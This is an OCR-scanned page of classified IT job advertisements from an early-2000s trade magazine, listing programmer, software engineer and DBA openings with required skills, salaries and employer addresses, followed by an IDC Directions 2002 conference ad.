Applications  Development  Pro¬ 
grammer.  Designs,  develops 
custom  database  software  and 
related  applications  including 
payroll,  inveatory,  and  general 
ledger  software  for  small  busi¬ 
nesses:  utilizes  desktop  publish¬ 
ing,  /VR,  /VP,  and  other  business 
software  packages;  customizes 
same  for  clients.  Bachelor  of 
Science  in  Computer  Information 
Systems  required.  One  year 
experience  in  job  or  as  a  pro¬ 
grammer  analyst  required.  Forty 
hours  per  week,  9.00  a.m  to  5 
p.m.,  $50,000  per  year.  Appli¬ 
cants  must  show  proof  of  legal 
authority  to  work  in  the  United 
States  Illinois  Department  of 
Employment  Security,  401  S. 
State  Street  -7N,  Chicago,  IL 
60605,  Attn:  Lydia  Clarke,  Ref.  # 
V-IL  30983-E,  an  employer  paid 
ad.  No  calls  -  Send  2  copies  of 
both  resume  &  cover  letter. 


“RK  Management  Consultants, 
Inc.  seeks  experienced  Certified 
Showcase,  Essbase  consultants 
who  have  strong  experience  in 
AS/400,  Showcase,  DB2  OLAP, 
RPG/400,  Silvon,  C17400,  VB 
and  Oracle.  Frequent  travel/ 
relocation  required.  M.S  or  equal 
or  B.S  or  equal  C/S  or  Engg,  or 
Math  or  Foreign  equivalent  of 
exp/educ  accepted.  Send  or 
email  resume  to  HR  Dept, 
Oakbrook  Terrace  Tower,  One 
Tower  Lane,  Suite  2540 
Oakbrook  Terrace,  IL  60181,  or 
raj@rkmcinc.com.- 


Palladium  Technology,  Inc.,  has 
openings  for  IT  professionals 
with  industry  exp.  (various  skills 
combination  reqd.)  in  HP  9000, , 
Sun  E4500,  Oracle  Financials 
v1 0.6/1 0,7,  Unix  Shell  Scripts, 
Oracle  7.X/8.0,  C,  Perl,  Constellar, 
etc.  Some  positions  require  MS 
or  equiv.  CS,  Engg,  Math,  Bus. 
Admin,  or  rel.  field  while  others 
require  BS  or  equiv.  as  above. 
Pay  matching  with  exp.  Foreign 
educ.  equiv  &/or  combination 
of  educ/exp.  accepted.  Travel/ 
relocation  reqd.  Resumes  only  to 
600  Hunter  Drive,  Ste.  308,  Oak 
Brook.  IL  60523 


Programmer  Analyst 
(Micro/Web)  -  Multiple 
Openings 

Structured  systems  analysis, 
design,  development,  testing, 
quality  assurance,  implementa¬ 
tion,  integration,  maintenance 
and  support  of  integrated  client- 
server  based  systems  for  busi¬ 
ness,  financial,  banking,  manu¬ 
facturing  and  other  commercial 
business  application  systems  in 
a  multi-hardware/multi-software 
environment  using  centralized  or 
distributed  relational  database 
management  systems,  4GLs 
(Fourth  Generation  Languages) 
and  other  GUI  (Graphical  User 
Interface)  front-end  tools.  Analysis, 
design  and  development  of 
client-server  applications  using 
object-oriented  methodology. 
Bachelor’s  Degree  (or  equivalent) 
in  Computer  Science-Math/ 
Engineering/Science/Business- 
Commerce  and  1  yr.  experience 
in  job  offered  or  as  Software 
Engineer/Systems  Analyst  are 
required.  Must  have  appropriate 
combination  of  skills  as  follows: 
1  of  A  and  2  of  B;  or  2  of  A  and  1 
of  B;  or  3  of  A.  A  includes  Oracle, 
Sybase,  Informix,  SQL  Server, 
Progress,  Ingres,  Access  and 
Proxy  Server;  and  B  includes 
PowerBuilder,  Visual  Basic, 
MS-Windows,  Visual  C++,  JAM, 
APT-SOL,  SOL-FORMS,  ESQU 
C,  GUPTA  SQL,  Progress  4GL, 
Informix  4GL,  Ingres  4GL,  C, 
Java,  Lotus  Notes,  HTML,  CGI, 
IIS,  ASP,  Front  Page,  Perl  and 
Java  Development  Kit  (JDK); 
High  mobility  preferred.  40 
hrs/week,  8  am  -  5  pm.  $66,829 
-  $78,000  per  year.  Qualified 
applicants  should  contact  or 
send  resume  to  Manager,  Indiana 
Job  Center,  350  North  Fourth 
Street,  Indiana,  PA  1 5701  -2000. 
Refer  to  Job  Order  #  WEB 
222639. 


Decision  Support 
Consultants 

ThinkFast's  focus  is  on 
Improving  corporate 
decision  making  through 
Business  Intelligent  Solutions. 
We  are  seeking  consultants 
with  deep  functional  business 
experience  and  solid  techni¬ 
cal  skills.  Knowledge  of  Data 
Warehousing  and  Decision 
Support  concepts  with 
development  experience  in 
OLAP  -  Essbase.  Express; 
RBMS  -  Oracle.  DB2:  SQL 
Server;  Visual  Basic; 
Excel/VBA  and  Business 
Objects.  Requires  a 
bachelor's  degree  in  manage¬ 
ment  Information  systems, 
computer  science  or 
related  field.  Email  resumes 
(careers@thinldastcom)  or 
mail  to:  Jenise  Caiola  • 
Human  Resources  Manager 

IhlinkFast 

C  O  N  S  U  L  r  I  N  s 

8700  W.  Bryn  Mawr 
Suite  SOON 
Chicago,  IL  6063 1 

Equal  Opportunity  Employor 


Sr  Software  Engineer  (Atlanta. 
GA)  to  perform  senior  level 
analysis,  design,  programming, 
debugging  and  modifications 
of  local,  network  and  internet- 
related  software  for  commercial, 
material/financial  management, 
HRIS  and  desktop  applications: 
Train  entry  level  engineering 
personnel.  Require  a  Master's 
Degree  in  Computer  Science. 
Elec.  Engg.,  or  a  closely  related 
field:  Must  have  a  demonstrated 
ability  to  perform  the  stated  duties 
gained  through  previous  work 
experience  or  academic  course- 
work  and  projects.  Competitive 
salary  and  benefits.  8:00  am  - 
5:00  pm.  Monday  -  Friday.  Please 
send  resume  to  KRM  -  HR, 
CheckFree  Services  Corporation, 
6000  Perimeter  Drive,  Dublin, 
Ohio  43017.  Attn.  TP.  (no  phone 
calls) 


Programmer  Analyst  •  Oracle 
Specialist  -  Multiple 
Openings 

Structured  systems  analysis, 
design,  development,  testing, 
quality  assurance,  implementa¬ 
tion,  integration,  maintenance 
and  support  of  large  volume 
on-line  complex  integrated 
client-server  based  business, 
financial,  banking,  manufacturing 
and  other  commercial  application 
systems  in  a  multi-hardware/ 
multi-software  environment 
using  centralized  or  distributed 
database  systems  using  Oracle 
Relational  Database  Management 
Systems  (RDBMS)  and  related 
software.  Design  of  large  appli¬ 
cation  systems  and  databases  in 
a  Co-operative  Development 
Environment  (CDE);  and  analysis, 
design  and  development  of 
applications  using  CASE  (Com¬ 
puter  Aided  Software  Engineer¬ 
ing)  tools.  Bachelor’s  Degree  (or 
equivalent)  in  Computer  Science- 
Math/Engineering/Science/ 
Business-Commerce  and  1  yr. 
experience  in  job  offered  or  as 
Software  Engineer/Systems 
Analyst  are  required.  Must  have 
appropriate  combination  of  skills 
as  follows:  1  of  A  and  3  of  B,  or  2 
of  A  and  2  of  B.  A)  includes 
Oracle  RDBMS,  Oracle  CASE 
tools  (Designer,  Dictionary, 
Generator),  CDE  2,  Oracle 
Financials;  B)  includes  PRO'C, 
SQL*Forms,  SQL*Reportwriter, 
SQL-Plus,  SQL-Menu,  PUSQL. 
High  mobility  preferred.  40 
hra/week,  8  am  -  5  pm.  $66,829 
-  $78,000  per  year.  Qualified 
applicants  should  contact  or 
send  resume  to;  Manager,  West¬ 
moreland  County  CareerLink, 
300  East  Hillis  Street,  Young- 
wood,  PA  15697-1808.  Refer  to 
Job  Order  #WEB  222642. 


APPLICATIONS  DEVELOPER/ 
ANALYST 

Develop/maintain  a  strategic 
enterprise  web  application, 
including  component  requirement, 
gathering,  design,  coding,  testing 
and  implementation;  document 
functional  requirements  &  create 
technical  designs  at  a  component 
level;  develop/maintain  web 
applications  utilizing:  HTML, 
JavaScript,  C++.  Unix/NT,  Oracle 
&  MSSQLServer.  40  hrs/wk, 
8am  to  5pm,  $60,000/yr.  Must 
have  a  Bachelor’s  degree  in 
Computer  ScierK*  or  Engineering. 
Applicant  must  have  2  years  of 
experience  in  the  job  offered,  as 
a  Software  Engineer  or  in  a 
related  field.  Work  experience 
must  include  technical  web 
project  experience  utilizing 
HTML,  JavaScript,  Java, 
C++,  Unix  or  NT,  Oracle  or 
MSSQLServer.  Applicants  must 
show  proof  of  legal  authority  to 
work  in  the  U.S.  Send  resume  to: 
Illinois  Department  of  Employ¬ 
ment  Security,  401  South  State 
Street  -  7  North,  Chicago,  IL 
60605,  Attn:  S.  Lindsey.  Refer¬ 
ence  #V-IL  31 772-L.  An  employer 
paid  Ad.  No  calls.  Send  2  copies 
of  both  resume  &  cover  letter. 
EOE 


HARDWARE  DESIGN  ENGI¬ 
NEER  to  design,  repair  and  build 
laptop  computers,  PC  and  Note¬ 
book  using  Hitachi  oscilloscope, 
HAKKO  Heat  Gun,  Multimeter 
and  Debug  Card;  Design  high¬ 
speed  CMOS  logic  using  Intel 
Pentium,  Pentium  Pro  Processors, 
BIOS  Universal  Writer  and  various 
chipsets  including  ISA,  EISA, 
PCI  and  Video  local  bus  archi¬ 
tecture:  Simulate  I/O  subsystem, 
mobile-platform  memory  and 
board-level  timing  signal  analysis. 
Require:  B.S.  degree  (or  equiva¬ 
lent)  in  Electrical  Engineering  or 
a  closely  related  field  with  two 
years  of  experience  in  the  job 
offered;  Each  three  years  of 
progressively  responsible  work 
experience  in  the  field  will  be 
considered  equivalent  to  one 
year  of  college  education. 
Competitive  salary  offered. 
Apply  by  resume  to:  Sandy 
Yi  Yun  Perng,  President,  OK 
Computer  System  Company, 
2950-B  Horizon  Park  Drive, 
Suwanee,  GA  30024;  Attn;  Job 
HC. 


Software  Engineer 

Pirelli  Cables  and  Systems,  LLC, 
a  worldwide  manufacturer  of 
communications  and  power 
cables  and  systems,  has  an 
opening  for  a  Software  Engineer. 
Duties  are  the  following:  1. 
Designs,  implements,  develops 
arxl  customizes  business  software 
systems  integrating  the  various 
business  operations  (Sale  and 
Distribution.  Marketing.  Materials 
Management,  Production  Plan¬ 
ning.  and  Finance)  into  a  single 
business  software  system;  2. 
Analyzes  end  user  requirements 
to  design  and  develop  software 
systems  based  on  Client/Server 
Architecture:  3.  Designs  database 
systems  based  on  RDBMS 
concepts  (Relational  Database 
Management  Systems);  4.  Eval¬ 
uates  new  software  versions 
released  by  the  software  vendor 
and  upgrades  the  business 
systems  when  necessary;  5. 
Designs  various  reports,  which 
are  used  on  daily/weekly/monthly 
basis  to  help  monitor  various 
business  processes;  6.  Designs 
and  develops  software  programs 
to  print  various  business  docu¬ 
ments  like  Sales  Orders.  Invoices, 
Packing  Lists,  and  Purchase 
Orders;  7.  Maps  legacy  data  into 
existing  database  structures;  8. 
Develops  programs  to  load  data 
from  Flat  files,  EXCEL  spread¬ 
sheets  and  Access  or  other 
databases’  9.  Design  interfaces 
of  the  business  software  system 
with  external  systems  using  RFC 
(Remote  Function  Calls),  and 
EDI  (Electronic  Data  Interchange); 
1 0.  Analyzes  the  performance  of 
the  software  system  (including 
database  and  networking  perfor¬ 
mance),  using  tracing  tools  and 
fine-tuning  where  necessary;  1 1 . 
Programs  in  C,  C++,  SQL, 
ABAP/4  in  Windows  operating 
systems;  12.  Designs  and  devel¬ 
ops  the  database  in  MS  SQL 
Server;  and  1 3.  Develops  reports 
using  GUI  (Graphical  User  Inter¬ 
face)  based  reporting  tools. 
Salary  and  benefits  offered  are 
commensurate  with  position. 
Minimum  requirements  are  a 
Bachelor's  degree  in  Computer 
Science  and  five  years  experi¬ 
ence  in  the  job  offered.  Work 
schedule  is  from  8:00  a.m.  to 
5:00  p.m.,  Monday  through 
Friday,  40  hours  per  week,  and 
the  position  is  located  in  Lexington, 
South  Carolina.  Applicants  must 
send  two  resume  to:  Human 
Resources  Department.  Pirelli 
Cables  and  Systems,  LLC, 
246  Stoneridge  Drive,  Suite 
400,  Columbus.  South  Carolina 
29210. 


Technical  Manager  (multiple 
openings):  Seeks  out,  interviews, 
screens  and  recruits  information 
technology  professionals  in  the 
United  States  and  overseas 
Evaluates  recruitment  and 
selection  criteria  to  ensure 
conformance  to  professional, 
statistical  and  testing  standards 
and  recommends  revisions  as 
needed.  Assists  and  advises 
establishment  management  in 
organizing,  preparing  and  imple¬ 
menting  recruiting  and  retention 
programs.  Sets  up  and  coordi¬ 
nates  the  technical  interview 
panel,  advises  and  formulates 
salary  levels  for  information  tech¬ 
nology  professionals  based  on 
market  data,  staffs  all  levels 
of  technical  requirements  from 
programmer  analyst  level  to 
manager  level,  and  recruits  for 
relational  database  manage¬ 
ment  system  (RDBMS)  and 
related  skill  sets.  Work  involves 
extensive  travel  and  frequent 
relocation.  Must  have  at  least 
one  year  of  experience  using 
one  of  A  as  follows:  A)  Informix, 
Oracle,  FoxPro,  Sybase,  SQL 
Server,  Progress.  Master's  degree 
in  Computer  Science/Applica¬ 
tions.  Engineering,  Math,  Chem¬ 
istry,  Physics  or  a  scientific  or 
business  related  field.  Will  accept 
a  Bachelor's  degree  or  foreign 
equivalent,  plus  5  years  of 
progressive  experiertce  as  a 
computer  professional  in  lieu  of 
Master's.  Salary:  $100,000 
per/yr,  40  hrs/wk.,  8:00-5:00  p.m. 
Please  submit  resumes  to: 
Manager.  Beaver  County  Team 
PA  CareerLink.  2103  Ninth  Ave., 
Beaver  Falls,  PA  15010-3957, 
Job  Order  No.:  WEB  223458. 
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Programmer  Analyst:  Provide 
conceptual  data  processing 
solutions  to  customer  business 
problems  in  mission  critical 
systems  i.e.  customer  billing 
/svce.,  mktg.  info,  systems  & 
svce.,  materials  &  financial 
systems.  Provide  expertise, 
systems  consultation,  assis¬ 
tance  in  coding  &  informal 
leadership  during  systems 
development,  maintenance  & 
production.  Facilitate  efforts  to 
refine  business  requirements 
though  Joint/Rapid  Application 
Development  sessions  w/  mgmt. 
&  users.  Analyze,  code,  test  & 
implement  solutions  to  complex 
tech,  problems  w/team  members, 
clients  &  vendors.  Support 
application  systems  planning 
process.  Conduct  &  participate 
in  review,  evaiuation  &  recom¬ 
mendation  of  software  products 
&  productivity  tools.  Bachelor's 
or  equivalent  in  Computer  Sci., 
Eng.  or  related  field  &  2  yrs  exp. 
in  position  offered  or  in  related 
systems  analysis,  programming 
or  DB  admin,  position.  2  yrs  exp. 
must  inlcude  exp.  in  Windows 
2000,  WindowsNT,  MS-DOS, 
SQL  Server,  TCP/IP,  Visual 
InterDev,  IIS4.0,  Visio,  C+-I-,  ASP, 
HTML,  Java  Script  and  VB 
Script.  MCSE  required.  Resume 
to  S.  Hundal,  SoltecOne,  11480 
Sunset  Hills  Rd.,  Reston,  VA 
20190. 


Programmer  Analyst  (PC 
Networking)  -  Multiple 
Openings 

Utilizing  knowledge  of  various 
networking  topologies  and  PC 
architectures,  install,  configure 
and  manage  physically  distrib¬ 
uted  computer  networks  and 
network  operating  systems. 
Provide  user  support,  network 
troubleshooting  and  network 
expansion  and  also  provide 
printer  services  and  backup 
management.  Coordinate  local 
and  remote  hardware  and  soft¬ 
ware  configuration;  implement 
and  execute  operations  proce¬ 
dures  and  monitor  systems 
resource  utilization;  and  perform 
capacity  planning.  Interface  the 
main  application  environment 
with  the  underlying  networking 
software.  Carry  out  performance 
tuning  of  the  network  for  the  user 
applications.  Bachelor’s  Degree 
(or  equivalent)  in  Computer 
Science-Math/Engineering/ 
Science/Business-Commerce 
and  1  yr.  experience  in  job 
offered  or  as  Software  Engineer/ 
Systems  Analyst  are  required. 
Must  have  appropriate  combina¬ 
tion  of  skills  as  follows:  2  of  A  and 
2  of  B  and  1  of  D;  or  2  of  A  and 
2  of  B  and  1  of  C  and  1  of  D. 
A  includes  Novell  NetWare. 
Windows  NT,  OS/2,  Windows 
95,  LAN  Server,  Banyan  Vines, 
LANmanager,  LANtastic;  B 
includes  IPX/SPX,  TCP/IP,  FTP, 
Windows  for  Workgroups,  Net¬ 
BIOS,  X.25;  C  includes  SNMP, 
LANanalyser,  NetView,  NetMan- 
ager;  and  D  includes  Ethernet, 
Token  Ring,  FDDI;  High  mobility 
preferred.  40  hrs/week,  8  am  -  5 
pm.  $66,671  -  $78,000  per  year. 
Qualified  applicants  should 
contact  or  send  resume  to: 
JS  Supervisor,  McKeesport/ 
Allegheny  County  CareerLink, 
345  Fifth  Avenue,  McKeesport, 
PA  15132-2600.  Refer  to  Job 
Order#  WEB  221819. 


SOFTWARE  DEVELOPER 
(Ringgold.  GA)-Analyze,  design, 
develop,  and  modify  application 
software  for  a  property  tax 
collection  service  using  Power- 
builder  6.5/7.0/8.0,  PFC,  and 
Transact-SQL  stored  procedures. 
Develop  a  web  application  for 
property  tax  research  using 
Powerbuilder  8.  PFC,  web 
datawindows,  Javascript,  HTML, 
and  DHTML.  REQ:  Bach.  deg. 
in  Comp.  Sci..  Math,  an  Engg. 
discipline,  or  closely  related  field, 
with  3  yrs.  experience  in  job 
offered  or  as  a  Software/ 
Research  Engg.  or  Software 
Consultant.  Prior  exp.  must 
include  at  least  2  yrs.  using 
Powerbuilder  6/7  and  PFC. 
Competitive  salary  and  benefits. 
Send  resume  to:  Corp  HR, 
VisiCraft  Systems,  Inc.,  68 
Millennium  Circle.  Ringgold.  GA 
30736;  ATTN  Job  BN  (no  phone 
calls). 


Programmer  Analyst 
(Micro/Web)  -  Multiple 
Openings 

Structured  systems  analysis, 
design,  development,  testing, 
quality  assurance,  implementation, 
integration,  maintenance  and 
support  of  integrated  client-server 
based  systems  for  business, 
financial,  banking,  manufacturing 
and  other  commercial  business 
application  systems  in  a 
multi-hardware/multi-software 
environment  using  centralized  or 
distributed  relational  database 
management  systems,  4GLs 
(Fourth  Generation  Languages) 
and  other  GUI  (Graphical  User 
Interface)  front-end  tools.  Analysis, 
design  and  development  of 
client-server  applications  using 
object-oriented  methodology. 
Bachelor's  Degree  (or  equivalent) 
in  Computer  Science-Math/ 
Engineering/Science/Business- 
Commerce  and  1  yr.  experience 
in  job  offered  or  as  Software 
Engineer/Systems  Analyst  are 
required.  Must  have  appropriate 
combination  of  skills  as  follows: 
1  of  A  and  2  of  B;  or  2  of  A  and  1 
of  B;  or  3  of  A.  A  includes  Oracle, 
Sybase,  Informix,  SQL  Server, 
Progress,  Ingres,  Access  and 
Proxy  Server;  and  B  includes 
PowerBuilder,  Visual  Basic,  MS- 
Windows,  Visual  C++,  JAM, 
APT-SQL,  SQL'FORMS,  ESQU 
C,  GUPTA  SQL,  Progress  4GL, 
Informix  4GL,  Ingres  4GL,  C, 
Java,  Lotus  Notes,  HTML,  CGI, 
IIS,  ASP,  Front  Page,  Perl  and 
Java  Development  Kit  (JDK); 
High  mobility  preferred.  40  hr^ 
week,  8  am  -  5  pm,  $66,829  - 
$78,000  per  year.  Qualified 
applicants  should  contact  or 
send  resume  to  Manager,  Indiana 
Job  Center,  350  North  Fourth 
Street,  Indiana,  PA  15701-2000. 
Refer  to  Job  Order  #  WEB 
221820. 


Systems  Analysts  + 
Software  Developers 

Full  life  cycle  software 
systems  development 
using  Access,  Visual 
Basic,  NT  -f  SQL.  Bach¬ 
elors  +  minimum  3  years 
of  experience. 

Resume  to: 

tom.bell  @  mail.publix.com 
Publix  Super  Markets,  Inc. 


COMPUTER  SYSTEMS  ANA¬ 
LYST.  Manh.  Analyze  user's 
reqmnts,  company's  procedures/ 
problems  to  automate  processing/ 
utilize  existing  computer  systems; 
confers  with  personnel  to  analyze 
current  operational  procedures; 
identify  problems  &  learn  specific 
input/output  reqmnts.  40  hrs/wk, 
8:30am-5:30pm,  inc  Ihr  break. 
Degree+experience  reqd.  Fax 
resume  to  Sam  @212  21 9-931 9. 


Open  Associates  UNIX  System 
Administrator  position  at  our 
Pasadena,  CA  office. 

Mail  resume  to; 

Laurie  Gardner 
Earthlink,  Inc., 

1375  Peachtree  Street,  Level  A 
Atlanta.  GA  30309. 

(no  phone  calls  please) 
EOE 


Senior  Project  Engineer  to 
develop  Branch  Office  Standards 
and  processes  for  sales,  design, 
project  management,  commis¬ 
sioning  and  documentation  in 
support  of  building  security 
systems;  develop  software  tools, 
software  applications  library  and 
security  product  databases  tor 
building  security  systems  using 
Apogee  building  security  tech¬ 
nology  system.  Philips  and  Pelco 
CC1V  system  product  lines  to  fit 
existing  corporate  mechanical 
software  design  tools.  Must 
have  at  least  two  years  towards 
a  degree  in  Electronics  Engi¬ 
neering  Technology  or  related 
field.  Must  have  two  years  of 
experience  as  a  Senior  Project 
Engineer  or  two  years  of  experi¬ 
ence  as  a  Senior  Account  Rep  ‘ 
Security  Systems.  Applicant’s 
work  experience  must  have 
included  developing  software 
tools  for  building  security  systems. 
40  hours  per  week.  8:00  a.m. 
to  5:00  p.m.  $78,803  per  year. 
Send  two  copies  of  resume  and 
cover  letter  to  the  Illinois  Depart¬ 
ment  of  Employment  Security, 
401  South  State  Street  Chicago, 
Illinois  60605  ATTN:  Sheila 
Lindsey.  Include:  #V-IL-29430-L. 
No  phone  calls  please.  Must 
have  permanent  authority  to 
work  in  the  U.S.  An  employer 
paid  ad. 


National  Instruments,  a  fast 
growing  Hl-tech  Co.  based  in 
Austin,  TX,  is  currently  seeking 
to  fill  positions  in  the  following: 

Field  Sales  Engineer 
Sell,  demonstrate,  configure 
electronic  instrumentation  sys¬ 
tems  and  s/ware  using  knowl.  of 
C,  C++  to  assist  customers  in 
defining  system  config  for  data 
acquisition  needs.  BS  in  Engg, 
Comp  Sci,  Math  or  Physics  req'd. 

Field  Applications  Engineer 
Develop  software  applications 
for  products,  systems,  and  new 
business  opportunities.  Provide 
technical  engineering  support 
for  software  products  and  their 
applications  to  customers,  sales 
engineers,  and  distributors.  Re¬ 
solve  technical  issues  using  an 
understanding  of  electronic  and 
software  programming  funda¬ 
mentals.  BS  in  Engg,  Comp  Sci, 
Math  or  Physics  required. 

Respond  to:  Raja  Paris,  National 
Instruments  Corp.,  6504  Bridge 
Point  Pkwy,  Austin,  TX  78730. 


SYSTEMS  ANALYST  to  analyze, 
design,  develop,  test  and  imple¬ 
ment  web-based  financial  appli¬ 
cation  software  in  a  client/server 
environment  using  Kenan  Arbor/ 
BP,  Oracle,  PL/SQL,  SQL*Plus, 
SQL'Loader,  OCl,  Pro'C,  Devel¬ 
oper  2000  (Forms/Reports),  C/ 
C++  and  Xstart  under  Windows 
NT/2000,  SUN  Solaris  and  UNIX 
operating  systems.  Require:  B.S. 
degree  in  Computer  Science/ 
Engineering,  or  a  closely  related 
field  with  two  years  of  experience 
in  the  job  offered,  extensive  travel 
on  assignment  to  various  client 
sites  within  the  U.S.  is  required. 
Competitive  salary  offered.  Send 
resume  to:  Sundeep  Chaudry, 
CFO,  Elite  Solutions,  Inc.,  1670 
Reserve  Way,  Decatur,  GA 
30033;  Attn;  Job  AS. 


Programmer  analyst  sought  by 
company  in  Boca  Raton  FI. 
Bachelor’s/For.  Deg.  Equiv.  in 
Engg  and  2  yrs.  exp.  in  job 
offered.  Job  offered  is  in 
various  unanticipated  locations 
throughout  the  U.S.  Send 
resume  to:  lEM  Services,  Inc,, 
313  North  Country  Club  Blvd., 
Boca  Raton,  FI.  33487. 


Numann  Technologies,  Inc.,  an 
Elk  Grove,  CA  based  Software 
Consulting  firm  is  iooking  for: 

Computer  Programmers 
UNIX  System  Administrators 
Software  Engineers 

Must  have  at  least  a  Bachelor 
Degree  in  Computer  Science/ 
Mathematics/Physics  or  equiva¬ 
lent,  with  at  least  35  years  relevant 
experience.  Must  be  willing  to 
travel  from  Elk  Grove,  CA  to 
temporary  worksites  throughout 
the  US,  to  be  paid,  at  least,  the 
prevailing  wage  in  that  area. 
Employee  will  remain  employed 
by  Numann  Technologies,  Inc. 

Fax  or  mail  resume  to: 

Numann  Technologies,  Inc., 
9021  Lanetry  Court,  Elk  Grove, 
CA  95758;  Fax:  (91 6)  351  -0337; 
Email:  gen@numann.com 


SOFTWARE  ENGINEER  to 
design,  develop,  implement,  test 
and  support  complex  e-commerce 
application  software  and  maintain 
existing  Visual  Basic  client/server 
and  ASP  systems  using  Visual 
Basic,  VSS,  RDO,  ADO,  COM, 
ActiveX,  Win32  API,  Oracle  and 
MS  SQL  Server  under  Windows 
2000/NT  operating  systems. 
Require:  M.S.  degree  in  Com¬ 
puter  Science,  an  Engineering 
discipline,  or  a  closely  related 
field,  with  two  years  of  experi¬ 
ence  in  the  job  offered  or  as  a 
Systems  Analyst.  Competitive 
salary  offered.  Apply  by 
resume  to:  Robert  C.  Morell, 
Chief  Technology  Officer,  Risk 
Laboratories,  LLC,  531  Roselane 
Street,  NW,  Suite  800,  Marietta, 
GA  30060;  Attn:  Job  GT. 


♦ 


SOFTWARE  ENGINEER  to 
design,  develop.  Implement,  test 
and  maintain  software  systems 
for  the  telecommunication 
industry  using  Oracle,  Rational 
Rose,  Enwin,  PL/SQL,  Shell 
Scripting,  Pro'C,  Java,  HTML, 
Power  Builder,  OEM  and 
Connect  Direct  under  Windows, 
UNIX  and  SUN  Solaris  operating 
systems;  Configure  Oracle 
Parallel  Server  on  UNIX 
partitioning  in  Oracle  and  Oracle 
Replication;  Provide  technical 
support  to  end  users.  Require: 
M.S.  degree  in  Computer  Science, 
an  Engineering  discipline,  or  a 
closely  related  field  with  two 
years  of  experience  in  the  job 
offered  or  as  a  Systems  Analyst. 
Extensive  travel  on  assignment 
to  various  client  sites  within  the 
U.S.  is  required.  Competitive 
salary  ottered.  Apply  by  resume 
to:KiranNaik,  CEO,  ERP  World, 
LLC,  6580  Jimmy  Carter  Blvd., 
Norcross,  GA  30071;  Attn:  Job 
VB. 


Staff  Quality  Engineer/QA  Analyst 
(Atlanta.  GA)  to  design,  promote 
and  Implement  best  practice 
development  and  testing  tech¬ 
niques  in  the  software  develop¬ 
ment  and  testing  techniques  in 
the  software  development  life 
cycle;  develop  program  plans  for 
specific  projects;  prepare  and 
execute  complex  software  testing 
plans.  Require  a  Bachelor’s  de¬ 
gree  (or  foreign  equivalent)  In 
Computer  Science,  Information 
Systems  or  a  closely  related 
field.  Must  have  demonstrated 
ability  to  perform  stated  duties 
through  practical  work  experience 
or  academic  coursework  and 
projects.  Competitive  salary  and 
benefits.  8:00  am  -  5:00  pm. 
Monday  -  Friday.  Please  send 
resume  to  KRM  -  HR,  CheckFree 
Services  Corporation,  6000 
Perimeter  Drive,  Dublin,  Ohio 
4301 7.  Attn.  YC.  (no  phone  calls) 
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PeopleSoft/DBA 

F/T  non-consulting  position  to 
provide  back-end  support  of 
PeopleSoft  environment  &  problem 
solving  for  functional  people. 
Rudimentary  level  DBA  work 
creating  &  managing  databases 
and  test  environments.  Install 
and  set  up  PeopleSoft  software 
&  environments.  Use  of  SQL, 
Query,  Process  Scheduler,  and 
COBOL.  Apply  patches  &  testing. 
PeopleSoft  and  SQR  exp  requiredi 
UNIX/Oracle  &  COBOL  desirable. 
App  design  not  emphasized. 
Salary  47-69K.  Send  resume  to 
Human  Resources,  PO  Box 
6270,  Kennewick,  WA  99336, 
email:  quayc@bentonpud.org. 
Web  site  www.bentonpud.org 

SOFTWARE  ENGINEER  to 
design,  develop,  test,  implement 
and  maintain  inbound/outbound 
calling  application  software, 
including  sales,  marketing,  survey, 
advocacy,  and  customer  service 
applications,  using  Atomix  4GL, 
Dynamic  4GL,  Informix  4GL, 
SQL  and  Shell  Script  on  UNIX 
and  Linux  platforms.  Require:  B.S. 
degree  in  Computer  Science/ 
Engineering,  or  closely  related 
field  with  five  years  of  experience 
in  the  job  offered  or  as  a 
Prrrgrammer/Analyst.  Competitive 
salary  offered.  Apply  by  resume 
to:  Michael  A.  Brooks,  VP 
Information  Technology,  NSDI 
Teleperformance,  4151  Ashford 
Dunwoody  Road,  Suite  675, 
Atlanta,  GA  3031 9;  Atin:  Job  JT. 

Open  Senior  SOFTWARE 

ENGINEER  position  at  our 

Pasadena,  CA  office. 

Mail  resume  to: 

Laurie  Gardner 

Earthlink,  Inc., 

1 375  Peachtree  Stree,  Level  A 

Atlanta,  GA  30309 

(no  phone  calls  please) 

EOE 

We  seek  Level  1  &  II  Computer 
Programmers/Software  Engineers 
w/strong  communication  skills  & 
any  of  the  following  skills:  VB, 
SQL  &  any  database,  AS/400, 
RPG/400,  COBOO400,  CL, 
Visual  C++  or  C++,  NT  Admin., 
JavaMTML/CGI,  COBRA,  PERL, 
Oracle/Sybase/Informix/SQL 
Developers  &  DBAs.  Lotus 
notes,  Domino  &  ERP  packages. 
Level  1:  B.S.  degree  &  1-3  years 
exp.  Level  II:  M.S.  or  B.S.  &  5 
yrs.  exp.  Assignments  may  be 
anywhere  in  the  U.S.  Send 
resume  to  Manager  at  Milestone 
Consulting  Group,  8625  NW  8 
Street,  Suite  422,  Miami,  FL 
33126. 

Systems  Engineer:  provide 
application  support  for  PC  and 
LAN,  maintain  and  improve 
company  web  site,  administer 
database,  specify  architecture 
systems  and  implement  full  life- 
cycle  development  of  e-business 
application.  Req.  BS  or  equiva¬ 
lent  (based  on  education  and 
experience)  in  CS,  CIS  or  MIS 
with  proficiency  in  C++,  HTML 
and  Visual  Basic.  8-5,  40hr/wk. 
$49,300/yr.  Send  resume  to 
Orientiques,  Inc.  700  Miami  Circle 
NE,  Atlanta,  GA  30324,  fax:  404- 
467-8101. 

Looking  for  an  EJB  Developer 

in  Raleigh,  NC.  Requires  a 

Bachelor’s  Degree  in  Engineer¬ 
ing  or  Computer  Science  and 

experience  in  EJB,  WebSphere, 

Domino  &  Logistics.  Send 

salary  req  &  resume  to 

jobs@ccintelllgentsolutions.com 

the  place  where  your  fellow  readers 
are  getting  a  jump 
on  even  more  of 

the  world's  best  jobs. 

Stop  in  a  visit. 

See  for  yourself. 
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Register  Online  Now 

www.idc.com/Directions02/Boston 

or 

www.idc.com/Directions02/SanJose 


or  Call 

800.605.5849 

(978.597.0133  outside  the  US) 


*IDC 

Analyze  the  Future 


The  rebound  is  coming.  It  always  does.  And  while  it's  easy  to  focus  on 
the  “when”  of  the  rebound,  the  real  question  should  be  “what  then?” 
After  the  IT  recession  of  2001  we  can  expect  new  user  buying 
behavior,  new  channel  requirements  and  new  vendor  success  factors. 


Attend  IDC's  Directions  and  learn  about  the  timing  and  strength  of  the 
rebound,  the  shape  of  the  new  industry  it  will  leave  in  its  wake,  and  the 
new  strategy  for  leadership  it  will  demand  of  suppliers. 


SPECIAL  OFFER! 

Register  by  February  20  and 
receive  a  $200  discount  off 
the  conference  fee. 


DirectionsZOOZ  I*. 

IT  Leadership  for  the  Rebound  ,• 


